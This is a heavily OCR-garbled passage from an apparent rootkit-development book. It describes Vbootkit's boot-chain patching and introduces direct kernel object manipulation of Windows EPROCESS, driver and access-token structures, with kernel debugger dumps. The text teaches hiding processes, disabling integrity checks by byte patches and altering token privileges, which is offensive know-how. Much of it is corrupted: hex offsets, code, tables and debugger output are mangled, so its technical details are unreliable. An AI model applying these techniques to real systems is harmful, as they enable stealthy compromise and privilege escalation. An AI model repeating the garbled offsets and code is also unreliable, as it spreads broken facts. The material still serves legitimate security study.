ataB-master: type=disk, path=.\c.img, mode=flat, cylinders=41610, heads=16, spt=63 ata1-master: type=cdrom, path=e:, status=inserted boot: cdrom, disk
If you wanted to start with a low-impact scenario, you could always use a boot diskette to install DOS on a much smaller image file Gust to watch the emulator function normally, and to get a feel for how things work). In this case, your configuration file would look something like:
rnegs: 32 romimage: file=.\BIOS-bochs-latest vgaromimage: file=.\VGABIOS-lgpl-latest vga: extension=vbe floppya: l_44=a:, status=inserted ata0-master: type=disk, path=.\c.img, cylinders=3e6, heads=4, spt=17 floppy_bootsiK-check: disabled=l boot: floppy log: bochsout. txt mouse: enabled=0 vga_update_interval: 1seee0
In case you're wondering how we come upon image files in the first place, the Bochs suite includes a tool named bximage. exe, which can be used to build image files. This tool doesn't require any command-line arguments. You just invoke it and the tool will guide you through the process one step at a time. After the image file has been created, it's up to the setup tools that ship with the guest operating system (i.e., DOS, Vista, etc.) to partition and format it into something useful. To speed up development time even further, I created floppy disk images to execute the boot code that I wrote. In particular, I'd compile the boot code assembler into a raw binary and then pad this binary until it was the exact size of a 1.44 MB floppy diskette. To this end, I took the following line in the previous configuration file:
floppya: l_44=a:, status=inserted
Vbootkit
At the 2007 Black Hat conference in Europe, Nitin and Vipin Kumar presented a bootkit for Windows Vista named Vbootkit. This bootkit, which is largely a proof-of-concept, can be executed by means of a bootable CD-ROM. This is necessary because this bootkit doesn't use multi-stage loading to get itself into memory. Vbootkit is one big binary, and it exceeds the 512-byte limit placed on conventional hard drive MBRs and floppy disk boot sectors.
Port II
1395
II
According to the El Torito Bootable CD-ROM Format Specification, you can create a bootable CD that functions via: Floppy emulation Hard drive emulation No emulation
In the case ofJloppy emulation, a floppy disk image is burned onto the CD and the machine boots from the CD as if it were booting from a floppy drive (drive elxelel from the perspective of the BIOS). The same basic mechanism holds for hard drive emulation, where the image of a modest hard drive is burned onto the CD. In the case of hard drive emulation, the computer acts as if it were booting from the C: drive (i.e., drive elxSel from the perspective of the BIOS). The no emulation option offers the most freedom because it allows us to load an arbitrary number of sectors into memory (as opposed to just a single boot sector). Thus, our boot code can be as large as we need it to be. From the standpoint of development, this is very convenient and sweet. The problem with this is that it's also completely unrealistic to assume that you should have to rely on a bootable CD in a production environment. An actual remote attack would most likely need to fall back on a multi-stage loading type of approach. I mean, if you happened to get physical access to a server rack to insert a bootable CD, there are much more compromising things you could do (like steal a server or run off with a bag full of backup tapes). But, like I said, this project is a proof-of-concept. As described earlier in the book, on a machine using traditional BIOS firmware, the lA-32 executes in real mode until the boot manager (i.e., bootmgr) takes over and makes the switch to protected mode. While it's still executing in the real-mode portion, the computer must use BIOS interrupt elx13 to read sectors off the hard drive in an effort to load system files into memory. This is where Vbootkit first gains a foothold. When Vbootkit runs, its primary goal is to hook BIOS interrupt elx13 so that it can monitor sector read requests. Once it has implemented its hook, the bootkit loads the MBR and shifts the path of execution to the MBR code. From here on out, Vbootkit sits dormant in its little patch of real-mode memory, just like a sleeper cell. Its interrupt hook will get invoked by means of the IVT and the hook code scans through the bytes on disk that are read into memory, after which it then passes program control back to the original INT elx13 interrupt. Things continue as if nothing had happened ... until the Windows VBR loads the boot manager's file into memory. At this point, the hook
396
Port II
code recognizes a specific 5-byte signature that identifies the bootmgr file and the bootkit executes its payload. The sleeper cell springs into action. By the way, this signature is the last 5 bytes of the bootmgr binary (excluding zeroes). The hook payload patches the memory image of the boot manager in a number of places. For example, one patch disables the boot manager's selfintegrity checks. Another patch is instituted so that bootkit code is executed (via an execution detour) just after the boot manager maps winload . exe into memory and verifies its digital signature. This detour in the boot manager module will, when it's activated, alter the win load . exe module so that control is passed to yet another detour just before program control is given to ntoskrnl. exe. This final detour will ultimately lead to the installation of kernel-mode shellcode that periodically (i.e., every 30 seconds) raises the privileges of all cmd. exe processes to that of the SYSTEM account (see Figure 6-22).
is patched
Figure 6-22
Portll 1397
As you may have noticed, there's a basic trend going on here. The boot process is essentially a long chain where one link loads and then hands off execution to the next link. The idea is to alter a module just after it has been loaded but before it is executed. Each module is altered so that a detour is invoked right after it has loaded the next module. The corresponding detour code will alter the next link in the chain to do the same (see Figure 6-23). This continues until we reach the end of the chain and can inject shellcode into the operating system. Along the way, we relocate the bootkit several times and disable any security measures that we encounter.
#.'
. .,
Figure 6-23 In a nutshell, what Vbootkit does is to patch its way from one link to the next (flicking off security knobs as it goes) until it can establish a long-term residence in Ring O. Or, in the words of the creators, Vbootkit is based on an approach where you "keep on patching and patching and patching files as they load."
> Nole:
Though the source code to the Vista port of Vbootkit has not been released, you can download the binary and source code to the previous version (which runs on Windows 2000, Xp, and Windows Server 2003) from the NV Labs web site .9
http://www.nvlabs.in/
398
Po rt II
Hence, disabling a security measure is often as easy as changing a single byte, from JE to JNE (i.e., from ex74 to ex75) .
Part II
/399
matter how skillfully a detour has been hidden or camouflaged. If the signatures don't match, something is wrong. While this may sound like a solid approach for protecting code, there are several aspects of the Windows system architecture that complicate matters. For instance, if an attacker has found a way into kernel space, he's operating in Ring 0 right alongside the code that performs the checksums. It's completely feasible for the rootkit code to patch the code that performs the auditing and render it useless. This is the quandary that Microsoft has found itself in with regard to its Kernel Patch Protection feature. Microsoft's response has been to engage in a massive campaign of misdirection and obfuscation; which is to say if you can't identify the code that does the security checks, then you can't patch it. The end result has been an arms race, pitting the engineers at Microsoft against the Black Hats from /dev/null. This back-and-forth struggle will continue until Microsoft discovers a better approach (like switching to a four-ring memory protection scheme!). Despite its shortcomings, detour detection can pose enough of an obstacle that an attacker may look for more subtle ways to modify the system. From the standpoint of an intruder, the problem with code is that it's static. Why not alter a part of the system that's naturally fluid, so that the changes that get instituted are much harder to uncover? This leads us to the next chapter.
400
ParI II
Chapter 7
01010010, 01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 00100000, 01000011, 01001000, 00110111
In Chapter 5 we saw how to alter call tables, which fall decidedly into the data category. In Chapter 6 we switched to the other end of the spectrum when we examined detour patching. Once you've worked with hooks and detours long enough, you'll begin to notice a perceptible tradeoff between complexity and concealment. In general, the easier it is to implement a patch, the easier it will be to detect. Likewise, more intricate methods offer better protection from the White Hats and their ilk because they're not as easy to uncover. Both hooks and detour patches modify constructs that are relatively static. This makes it possible to safeguard the constructs by using explicit reconstruction, checksum-based signatures, or direct binary comparison. In this chapter, we'll take the sophistication of our patching Gong Fu to a new level by manipulating kernel structures that are subject to frequent updates over the course of normal system operation. If maintaining a surreptitious presence is the goal, why not alter things that were designed to be altered?
means that unearthing a solid technique can translate into hours of digging around with a kernel debugger, deciphering assembly code dumps, and sometimes relying on educated guesswork. Let's not forget suffering through dozens upon dozens of blue screens. In fact, I would argue that actually finding a valid (and useful) structure patch is the most formidable barrier of them all. Then there's always the possibility that you're wasting your time. There simply may not be a kernel structure that will allow you to hide a particular system component. For example, an NTFS volume is capable of housing over four billion files (2 3L1 to be exact). Given the relative scarcity of kernel memory, and the innate desire to maintain a certain degree of system responsiveness, it would be silly to define a kernel structure that described every file in an NTFS volume. Especially when you consider that a single machine may host multiple NTFS volumes. Thus, modifying dynamic kernel structures is not a feasible tactic if you're trying to conceal a file . One might be well advised to rely on other techniques, like hiding a file in slack space within the file system, steganography, or perhaps using a filter driver.
Issue 2: Concurrency
"We do not lock the handle table, so things could get dicey." - Comment in FUTo rootkit source code Another aspect of this approach that makes implementation a challenge is that kernel structures, by their nature, are "moving parts" nested deep in the engine block of the system. As such, they may be simultaneously accessed, and updated (directly or indirectly), by multiple entities. Hence, synchronization is a necessary safeguard. To manipulate kernel structures without acquiring mutually exclusive access is to invite a bug check. In an environment where stealth is the foremost concern, being conspicuous by invoking a blue screen is a cardinal sin. Thus, one might say that stability is just as important as concealment, because unstable rootkits have a tendency of getting someone's attention. Indeed, this is what separates production-quality code from proof-of-concept work. Fortunately we dug our well before we were thirsty. The time we invested in developing the IRQL method, described earlier in the book, will pay its dividends in this chapter.
402
Po rl II
II
II
};
The compiler will translate the data structure variable declaration to a blob of 13 bytes:
_DATA
Normally, we'd access a field in a structure simply by invoking its name. The compiler, in turn, references the declaration of the structure at compile time, in its symbol table, to determine the offset of the field within the structure's blob of bytes. This saves us the trouble of having to remember it ourselves, which is the whole point of a compiler if you think about it. Nevertheless, it's instructive to see what the compiler is up to behind the scenes.
II i n ( code data.field3
0xcafebabe;
This is all nice and well when you're operating in friendly territory, where everything is documented and declared in a header fi le. However, when working with an undocumented (i.e., "opaque") kernel structure, we don't always have access to a structure's declaration. Though we may be able to
Pa rt II
I 403
glean information about its makeup using a kernel debugger's display type command (dt), we won't have an official declaration to offer to the compiler via the #include directive. At this point you have two alternatives: Create your own declaration(s). Use pointer arithmetic to access fields .
There have been individuals, like Nir Sofer, who have used scripts to convert debugger output into C structure declarations.l This approach works well if you're only targeting a specific platform. If you're targeting many platforms, you may have to provide a declaration for each platform. This can end up being an awful lot of work, particularly if a structure is large and contains a number of heavily nested substructures (which are themselves undocumented and must also be declared). Another alternative is to access fields in the undocumented structure using pointer arithmetic. This approach works well if you're only manipulating a couple of fields in a large structure. If we know how deep a given field is in a structure, we can add its offset to the address of the structure to yield the address of the field.
BYTE* bptr; lWlRD* dptr; II this code modifies field3, which is at byte(5) in the structure bptr ={BYTE*)&data; bptr =bptr + 5; iptr ={int*)bptr; (*iptr) =0xcafebabe;
This second approach has been used to patch dynamic kernel structures in existing rootkits. In a nutshell, it all boils down to clever employment ofpointer arithmetic. As mentioned earlier, one problem with this is that the makeup of a given kernel structure can change over time (as patches get applied and features are added). This means that the offset value of a particular field can vary. Given the delicate nature of kernel internals, if a patch doesn't work then it usually translates into a BSOD. Fault tolerance is notably absent in kernelmode. Hence, it would behoove the rootkit developer to implement code so that it is sensitive to the version of Windows that it runs on. If a rook it has not been designed to accommodate the distinguishing aspects of a particular release, then it should at least be able to recognize this fact and opt out of more dangerous operations.
1 http://www.nirsoft.net/kernei_structlvista!
4041 Part II
If you've never heard of it, DCOM was Microsoft's answer to COREA back in the days of NT. As a development tool, DC OM was complicated and never widely accepted outside of Microsoft. It should comes as no surprise that it was quietly swept under the rug by the marketing folks in Redmond. DCOM flopped, DKOM did not. DKOM was a rip-roaring success as far as rootkits are concerned.
Obiects?
Given the popularity of object-oriented languages, the use of the term "object" may lead to some confusion. According to official sources, "the vast majority of Windows is written in C, with some portions in C+ +."2 Thus, Windows is not object-oriented in the C+ + sense of the word. Instead, Windows is object-based, where the term "object" is used as an abstraction for a system resource (e.g., a device, process, mutex, event, etc.). These objects are realized as structures in C and basic operations on them are handled by the Object Manager subsystem. As far as publicly available rootkits go, the DKOM pioneer has been Jamie Butler.3 Several years ago Jamie created a rootkit called FU (as in f* ** you), which showcased the efficacy of DKOM. FU is a hybrid rootkit that has components operating in user mode and in kernel mode. It utilizes DKOM to hide processes and drivers and alter process properties (e.g., AUTH_ID, privileges, etc.). This decisive proof-of-concept code stirred things up quite a bit. In a 2005 interview, Greg Hoglund mentioned that "I do know that FU is one of the most widely deployed rootkits in the world. [It] seems to be the rootkit of choice for spyware and bot networks right now, and I've heard that they don't even bother recompiling the source - that the DLLs found in spyware match
2 3
Russinovich and Solomon, Microsoft Windows Internals, 4th Edition, Microsoft Press, 2005. Butler, Undercoffer, and Pinkston, "Hidden Processes: The Implication for Intrusion Detection," Proceedings of the 2003 IEEE Workshop on Information Assurance, June 2003.
Part II 1405
II
the checksum of the precompiled stuff available for download from rootkit.com."4 Inevitably, corporate interests like F-Secure came jumping out of the woodwork with "cures," or so they would claim. In 2005, Peter Silberman released an enhanced version of FU named FUTo to demonstrate the shortcomings of these tools. Remember what I said about snake oil earlier in the book? In acknowledgment of Jamie's and Peter's work, the name for this chapter's sample DKOM code, located in the appendix, is No-FU.
To see what happens behind the scenes, we can disassemble this routine:
kd> uf nt !PsGetCur rentProcess mav eax, dword ptr fs: [ooeoo124H] mav eax, dword ptr [eax+48h] ret
Okay, now we have a lead. The memory at fs: [eeeee124] stores the address of the current thread's ETHREAD structure (which represents a thread object). This address is exported as the nt! K iIni ti al Thread symbol.
kd> dps fs:ooeoo124 e038:00e00124 81be8648 nt!KilnitialThread
Federico Biancuzzi, "Windows Rootkits Come of Age," securityfocus.com, September 27, 2005.
406
Po't II
The linear address of the current ETHREAD block is, in this case, 81b08640. But how can we be s ure of this? Are you blindly going to believe everything I tell you? I hope not. A skilled investigator always tries to look for ways to verify what people tell him. One way to verify this fact is by using the appropriate kernel debugger extension command:
kd> !thread -p PROCESS 82f6d020 SessionId: none Cid: eee4 Peb: eeeeeeee ParentCid : DirBase: e0122eee ObjectTable : 8640e228 HandleCount : 1246. Image: System THREAD 81be864e Cid on processor 0 Not impersonating DeviceMap o",ning Process
eeee
eeee.eeee
Teb :
eeeeeeee
Win32Thread :
eeeeeeee
RUMIIING
864e8808 82f6d020
Image:
System
Sure enough, if you look at the value following the THREAD field, you can see that the addresses match. Once the function has the address of the ETHREAD structure, it adds an offset of 0x48 to access the memory that stores the address of the EPROCESS block that represents the thread's owning process.
0: kd> dps 81be8688 81be8688 82f6d020
Again, this agrees with the output provided by the ! thread command. If you check the value following the PROCESS field in this command's output, you'll see that the EPROCESS block of the owning process resides at a linear address of 0x82f6d020.
If you look at the makeup of the ETHREAD block, you'll see that the offset we add to its address (0x48) specifies a location within the block's first substructure, which is a KTHREAD block. According to Microsoft, the KTHREAD structure contains information used to faci litate thread scheduling and synchronization.
kd> dt nt !_ETHREAD +0x0ee Tcb +ax1e0 CreateTime +ex1e8 ExitTime +ax1e8 KeyedWaitChain +ax1f0 ExitStatus +axlf0 OfsChain +ax1f4 PostBloc kList +ax1f4 ForwardLinkShadow : : : : : : : : _KTHREAD _LARGE_INTEGER _LARGE_INTEGER _LIST_ENTRY Int4B ptr32 Void _LIST_ENTRY ptr32 Void .
Part II 1407
As you can see in the following output, there's a 23-byte field named ApcState that stores the address of the EPROCESS block corresponding to the thread's owning process.
9: kd> dt nt!_KTHREAD -+exeee Header -+ex919 CycleTime -+ex934 ThreadLock
+0x038 ApcState
-+ex938 ApcStateFill
[23) UChar
The offset that we add (ex48) places us 16 bytes past the beginning of the ApcState field. Looking at the KAPC_STATE structure, this is indeed a pointer to a process object.
kd> dt nt!_KAPC_STATE -+exeee ApcListHead
+0x010 P"Qcess : Ptr32 KPROCESS
Thus, to summarize this discussion (see Figure 7-1), we start by acquiring the address of the object representing the current executing thread. Then we add an offset to this address to access a field in the object's structure that stores the address of a process object (the process that owns the current executing thread). Who ever thought that two lines of assembly code could be so semantically loaded? Yikes.
nt ! ~!::~Cb '- - - - - - - - - - - - - - f s : [0000 0 1 24H] +
+0xl e9 CreateTi.ne +6xl e8 ExitTime
nt !_K
E AD
: : H ighCycleTime : QYantumT arget : Ini tial Sta ck : St ackli m t i : : K rnel St ack e Th readlock :
.,riO
'e<'~"
_DISPATCHER_HEADER Uint88 Ui nt4B Uint8B Ptr 32 Void Ptr32 Voi d Ptr32 Void Ui nt 48
9x48
nt I_KAPC_STATE +axooe ApclistHead .ex91a Process +0x0 14 KernelApcInProgress ...0x01S Kerne l ApcPen dlng
+9x0 16 UserApcPendi ng
Figure 7-1
408
Part"
We'll look at snippets of this output as needed during the following discussion. For the purposes of this chapter, there are four fields in EPROCESS that we're interested in:
(at an offset of exe9C bytes) (at an offset of exeAe bytes) (at an offset of exeee bytes) (at an offset of ex14C bytes)
These fields are clearly visible in the output of the display type debugger command. I've highlighted them in the following screen dump to help make them stick out.
kd> dt _EPROCESS ntdlll_EPROCESS +0x000 Pcb +0x9sa Process lock +0x988 CreateTime +0x990 ExitTime +0x998 RundownProtect
+0x09c UnIqueProcessId +0x0a0 ActIveProcessLlnks
: : : : :
: [3] Uint48
Token
EX - FAST - REF
UniqueProcessld
The UniqueProcessld field is a pointer to a 32-bit value, which references the process ID (PID) of the associated task. This is what we'll use to identify a particular task given that two processes can be instances of the same binary
Port II 1409
(e.g., you could be running two command interpreters, cmd. exe with a PID of 2236 and cmd. exe with a PID of 3624).
AdiveProcessLinks
Windows uses a circular doubly-linked list of EPROCESS structures to help track its executing processes. The links that join EPROCESS objects are stored in the ActiveProcessLinks substructure, which is of type LIST_ENTRY (see Figure 7-2).
typedef struct _LIST_ENTRY
{
Figure 7-2
One nuance of these links is that they don't point to the first byte of the previous/next EPROCESS structure (see Figure 7-3). Rather they reference the first byte of the previous/next LIST_ENTRY structure that's embedded within an EPROCESS block. This means that you'll need to subtract an offset value from these pointers to actually obtain the address of the corresponding EPROCESS structure.
410
Port II
ntdU' _ EPROCESS +0xOO0 Pcb : +0x080 Process Lock : +0x088 Crea teTime : +0x090 ExitTime : +0x098 RundownProtect : +0x09c UniqueProcessId : +0x0a0 ActiveProcessLinks
(FLink - 0x0a0), (BLink - 0x0a0) _ KPROCESS _ EX_ PUSH_ LOCK _ LARGE_ INTEGER _ LARGE_INTEGER _ EX_RUNOOWN_REF ptr32 Void : _ LIST_ ENTRY +--- Flink,Blink reference this address
Figure 7-3
Token
The Token field stores the address of the security token of the corresponding process. We'll examine this field, and the structure that it references, in more detail shortly.
ImageFileName
The ImageFileName field is an array of 16 ASCII characters and is used to store the name of the binary file used to instantiate the process (or at least the first 16 bytes). This field does not uniquely identify a process, the PID serves that purpose. This field merely tells us which executable was loaded to create the process.
CSHORT Type; CSI-Dln Size; POEVICE_OBJECT DeviceObject; UL(H; Flags; PVOID DriverStart;
II II II II II
92 92 94 94 94
Part II
1411
ULONG Dri verSize; II + 04 bytes PVOID DriverSection; IIOffset = 28 bytes PORIVER_EXTENSION DriverExtension; UNICDDE_STRING DriverName; PUNICDDE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PORIVER_STARTIO DriverStartIo; PORIVER_UNLOAD DriverUnload; PORIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; } DRIVER_OBJECT;
The DriverSection field is an undocumented void pointer. It resides at an offset of 20 bytes from the start of the driver object. Again, the fact that this is a void pointer makes it difficult for us to determine what the field is referencing. We can only assume that the value is an address of some sort. We can't make any immediate conclusions about the type or size of the object being accessed. In this case, it was almost surely an attempt on Microsoft's part to stymie curious onlookers. Though this ambiguity may be frustrating, it failed to stop more persistent researchers like Jamie Butler from discovering what was being pointed to. For the sake of continuity I named this structure DRIVER_SECTION. Though there are several fields whose use remains unknown, we do know the location of the LIST_ENTRY s ubstructure that links one DRIVER_SECTION object to its neighbors. We also know the location of the Unicode string that contains the driver's file name (e.g., null. sys, ntfs. sys, mup. sys, etc.). This driver name serves to uniquely identify an entry in the circular doubly-linked list of DRIVER_SECTION objects.
typedef struct _DRrvER_SECTION
{
LIST_ENTRY listEntry; DWORD field1[4]; DWORD field2; DWORD field3; DWORD field4; UNICDDE_STRING filePath; UNICDDE_STRING fileName; 11 ... and who knows what else }DRIVER_SECTION, *PORIVER_SECTION;
II
II
II
II
II II
IIOffset
Again, don't take my word for it. We can verify this with a kernel debugger and liberal employment of debugger extension commands. The first thing we need to do is acquire the address of the DRIVER_OBJECT corresponding to the clfs . sys driver (you can choose any driver, I chose the CLFS driver arbitrarily).
412
port II
a: kd > !drvobj clfs Driver object (83ce98be) is for: \ Driver\CLFS Driver Extension List : (id , addr) Device Object list: 83ce96ca
We use this linear address (ex83ce98be) to examine the makeup of the DRIVER_OBJECT at this location by imposing the structure's type composition on the memory at the address. To this end we use the display type debugger command:
a: kd> dt -b -v nt! _DRIVER_OBJECT 83ce98be struct _DRIVER_OBJECT, 15 elements, axa8 bytes -texllOO Type 4 -texOO2 Size 168 -texOO4 DeviceObject ax83ce96ca -texOO8 Flags ax12 -texOOc DriverStart ax8e4811lOO -texala Driver5ize ax411lOO +axa14 DriverSectlon : ax82f2ebda -texa18 DriverExtension ax83ce9958 struct _UNICODE_STRING, 3 elements, ax8 bytes -texalc DriverName "\Driver\CLFS" ax18 +axllOO Length -texOO2 MaximumLength ax18 ax83cd78a8 "\Driver\CLFS" -texOO4 8uffer -texa24 HardwareDatabase ax81dl6e7a -texa28 FastIoDispatch (null) ax8e4bcOO5 -texa2c DriverInit -texa3a DriverStartIo (null) -texa34 DriverUnload (null) -texa38 MajorFunction (28 elements)
This gives us the address of the driver's DRIVER_SECTION object (ex82f2ebde). Given that the first element in a DRIVER_SECTION structure is a forward link, we can use the ! list command to iterate through this list and display the file names:
a: kd > !list -x "! ustr @$extret-tex2c " 82f2ebda String(16,18) at 82f2ebfc : CLFS.SYS String(12,14) at 82f2eb8c: CI.dll String(24, 26) String(14,16) String(18,2a) String( 24, 26) String(18,2a) String(22,24) a: kd > at at at at at at 82f2eebc: 82f2ee4c: 82f2edd4: 82f2ed5c: 82f2ece4: 82f2ec6c: ntoskrnl. exe hal.dll kdcom.dll mcupdate. dll P5HED.dll BOOTVID.dll
Port II
I 413
The previous command makes use of the fact that the Unicode string storing the file name of the driver is located at an offset of ex2C bytes from the beginning of the DRIVER_STRUCTURE structure.
Authorization on Windows
After a user has logged on (i.e., been authenticated) the operating system generates an access token based on the user's account, the security groups the user belongs to, and the privileges that have been granted to the user by the administrator. This is known as the "primary" access token. All processes launched on behalf of the user will be given a copy of this access token. Windows will use the access token to authorize a process when it attempts to: Perform an action that requires special privileges. Access a securable object.
A securable object is just a basic system construct (like a file, registry key, named pipe, process, etc.) that has a security descriptor associated with it. A security descriptor determines, among other things, the object's owner, primary security group, and its discretionary access control list (DACL). A DACL is a list of access control entries (ACEs) where each ACE identifies a user, or security group, and the operations the user is allowed to perform on an object. When you right-click on a file or directory in Windows and select the Properties menu item, the information in the Security tab reflects the contents of the DACL.
Aprivilege is a right bestowed on a specific user account, or security group, by the administrator to perform certain tasks (e.g., shut down the system, load a driver, change the time zone, etc.). Think of them like superpowers,
414
Part II
beyond the reach of ordinary users. There are 34 privileges that apply to processes. They're defined as string macros in the winnt. h header file.
#define SE_CREATE_TOKEN_NAME #define SE_ASSIGNPRlMARYTOKEN_NAME #define SE_TIME_ZONE_NAME #define SE_CREATE_SYMBOLIC_LINK_NAME TEXT ( "seC reateTokenPrivilege" ) TEXT("SeAssignPrimaryTokenPrivilege") TEXT ("SeTimeZonePri vilege") TEXT( "SeCreateSymbolicLinkPrivilege")
These privileges can be either enabled or disabled, which lends them to being represented as binary flags in a 64-bit integer. Take a minute to scan through Table 7-1, which lists these privileges and indicates their position in the 64-bit value.
Table 7-1
02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
SeCreateTokenPrivilege SeAssignPrimaryTokenPrivilege SeLockMemoryPrivilege SelncreaseQuotaPrivilege SeUnsolicitedlnputPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeProfileSingleProcessPrivilege SelncreaseBasePriorityPrivilege SeCreatePagefilePrivilege SeCreatePermanentPrivilege SeBackupPrivilege SeRestorePrivilege SeShutdownPrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeChangeNotifyPrivilege SeRemoteShutdownPrivilege
Create a primary access token. Associate a primary access token with a process. lock pnysical pages in memory. Change the memory quota for a process. Read unsolicited input fram a mouse/keyboard/card reader. Act as part of the trusted computing base. Configure auditing and view the security log. Take ownership of objects (very potent superpower). load and unload KMDs. Profile system performance (i.e., run perfmon. msc). Change the system clock. Profile a single process. Increase the scheduling priority of a process. Create a page file (supports virtual memory). Creote permanent shared objects. Back up files and directories. Restore a backup. Power down the local machine. Run a debugger and debug applications. Enable audit-log entries. Manipulate the BIOS firmware parameters. Traverse directory trees without having permissions. Shut down a machine over the network.
Part II 1415
25 26 27 28 29 30 31 32 33 34 35
SeU ndock Privilege SeSyn cA gentPrivilege SeEn ableD egationPriv i l ege el SeM anageV olumePri vi lege Selmper sonateP r i vi l ege SeCreateGlobal Pri vilege SeTrustedC redMa nAccessPrivilege SeR elabelPrivilege SelncreaseWorkingSetPrivilege SeTimeZone Privilege SeCreateSymbolicLin kPrivilege
Remove a laptop from its docking station. Utilize LDAPsynchronization services. Allow user and computers to be trusted for delegation. Perform maintenance tasks (e.g., defragment a disk). Impersonate a dient alter authentication. Create named file mapping objects during terminal sessions. Access the Credential Manager as a trusted caller. Change an object label. Increase the process warking set in memory. Change the system dock's time zone. C a symbolic link. reate
Y can see these privileges for yourself, and others, in the Policy column of ou the User Rights Assignment node of the Local Security Settings MMC snap-in (secpol.msc).
x
lOCAl SEfMCE.N
~ot'I , 1..Iten
.tdrrnstr<!Icn.Remc
~CtJ . Bado
....
Figure 7-4
41 6 I Pa rt II
: : : :
struct _EX_FAST_REF, 3 elements, 9x4 bytes ptr32 to Bitfield Pos 9, 3 Bits Uint4B
The fact that all three fields in the EXJAST_REF object start at an offset of axaaa implies that the object would be represented in C by a union. According to Nir Safer, this looks like:
typedef struct _EX_FAST_REF
{
3j
} EX_FAST_REF, *PEX_FAST_REFj
In our case, we're utilizing the first element of the union; a pointer to a system object. Because this is a void pointer, we can't immediately tell exactly what it is we're referencing. As it turns out, we're referencing a TOKEN structure. Even then, the address stored in Token field requires a fix-up to correctly reference the process's TOKEN structure. Specifically, the last three bits of address must be set to zero. In other words, if the value stored in the _EXJAST_REF field is:
axAABB1122 (or, in binary, 1a1a 1a1a 1a11 1a11 aaal aaal aa1a aa1a)
Then the address of the corresponding TOKEN structure is:
axAABB112a (or, in binary, 1a1a 1a1a 1a11 1a11 aaal aaal aa1a aaaa)
To illustrate what I'm talking about, let's look at the values in a Token field for a particular EPROCESS object. This can be done by suffixing a linear address to the end of a display type (dt) command.
dt -b -v nt'_EPROCESS 83d967d8
: : : :
Thus, the address of the TOKEN object is ax937FFCAa. But how can we be sure of this? How can we know that the _EXJAST_REF union points to a TOKEN object, and even then how are we to know that the last three bits of the pointer must be zeroed out? Again, the kernel debugger comes to the rescue. To verify these facts, we can use the! process extension command.
Port II 1417
kd> !process 83da67d8 1 PROCESS 83da67d8 SessionId: 1 Cid: 9a90 Peb: 7ffdeeee ParentCid: 9394 DirBase: ed13ceae DbjectTable: 937b8aS9 HandleCount: 149. Image: NMIndexStoreSvr.exe VadRoot 83deefa8 Vads 116 Clone 9 Private 2262 . Modified 6. Locked 9. DeviceMap 93676369 Token 937ffca9 90:90 :95.888 ElapsedTime UserTime 90 :90:90.eae
Sure enough, we see that the access token associated with this process resides at linear address 0x937ffca0. Granted, this doesn't exactly explain "why" this happens (we'd probably need to check out the source code or chat with an architect), but at least it corroborates what I've told you.
418
port II
+0xece AuditData +0xec4 LogonSession +0xec8 OriginatingLogonSession +0x158 RestrictedSidHash +0xle0 VariablePart
kd>
Fir t and foremost, an access token is a dynamic object. It has a variable size. This is implied by virtue of the existence of fields like UserAndGroupCount and UserAndGroups. The latter field points to a resizable array of SID_AND_ ATTRIBUTES structures. The former field is just an integer value that indicates the size of this array. The SID_AND_ATTRIBUTES structure is composed of a pointer to an SID structure, which represents the security identifier of a user or security group and a 32-bit integer. The integer represents a series of binary flags that specify the attributes of the SID. The meaning and use of these flags depends upon the nature of the SID being referenced.
typedef struct _SID_AND_ATTRIBUTES
{
The official description of the SID structure is rather vague. (Something like "The security identifier (SID) structure is a variable-length structure used to uniquely identify users or groups.") Fortunately, there are a myriad of prefabricated SIDs in the winnt. h header file that can be utilized. The same thing holds for attributes. In the halcyon days of Windows XP, it was possible to add SIDs to an access token by finding dead space in the token structure to overwrite. This took a bit of effort, but it was a powerful hack. Microsoft has since taken notice and instituted measures to complicate this sort of manipulation. Specifically, I'm talking about the SidHash field, which is a structure of type SID_AND_ ATTRIBUTES_HASH. This was introduced with Windows Vista and Windows Server 2008.
typedef struct _SID_AND_ATTRIBUTES_HASH
{
This structure stores a pointer to the array of SID_AND_ATTRIBUTES structures, the size of the array, and a hash values for the array elements. It's no
Part II 1419
longer sufficient to simply find a place to add an SID and attribute value. Now we have hash values to deal with. Privilege settings for an access token are stored in a SEP_TOKEN_ PRIVILEGES structure, which is located at an offset of Elx4El bytes from the start of the TOKEN structure. If we look at a recursive dump of the TOKEN structure, we'll see that this substructure consists of three bitmaps, where each bitmap is 64 bits in size. The first field specifies which privileges are present. The second field identifies which of the present privileges are enabled. The last field indicates which of the privileges is enabled by default. The association of a particular privilege to a particular bit is in congruence with the mapping provided in Table 7-1.
kd> dt -b -v ntl_TOKEN 937ffcae ex040 Privileges ; struct _SEP_TOKEN_PRIVILEGES, 3 elements, ex18 bytes ~xeee Present ex73deff3e ~xeea Enabled ; ex60aeeeee ~xele EnabledByDefault ; ex60aeeeee
Under Windows XP (see the output below), privileges were like SIDs. They were implemented as a dynamic array of LUID_AND_ATTRIBUTE structures. As with SIDs, this necessitated two fields, one to store a pointer to the array and another to store the size of the array.
kd> dt _TOKEN ~xeee TokenSource ~xele TokenId ~xe18 AuthenticationId ~xe2e ParentTokenId ~xe28 ExpirationTime ~xe30 TokenLock ~xe34 ModifiedId ~xe3c SessionId
+0x040 UserAndGroupCount
~x044
~x04c ~xe5e
; ; ; ; ; ; ;
_TOKEN_SOORCE _LUID _LUID _LUID _LARGE_INTEGER Ptr32 _ERESOORCE _LUID Uint4B Uint4B
: UInt4B : UInt4B
RestrictedSidCount VariableLength DynamicCharged DynamicAvailable DefaultOwnerIndex RestrictedSids PrimaryGroup DynamicPart DefaultOacl TokenType ImpersonationLevel TokenFlags
+0x048 PrIvIlegeCount
~xe54
~xe58
+0x05c UserAndGroups
~x060
~x064
+0x068 PrIVIleges
~x06c ~xe7e ~xe74 ~xe78 ~xe7c
420
Par t II
If you know the address of an access token in memory, you can use the ! token extension command to dump its TOKEN object in a human-readable format. This command is extremely useful when it comes to reverse-engineering the fields in the TOKEN structure. It's also indispensable when you want to verify modifications that you've made to a TOKEN with your rootkit.
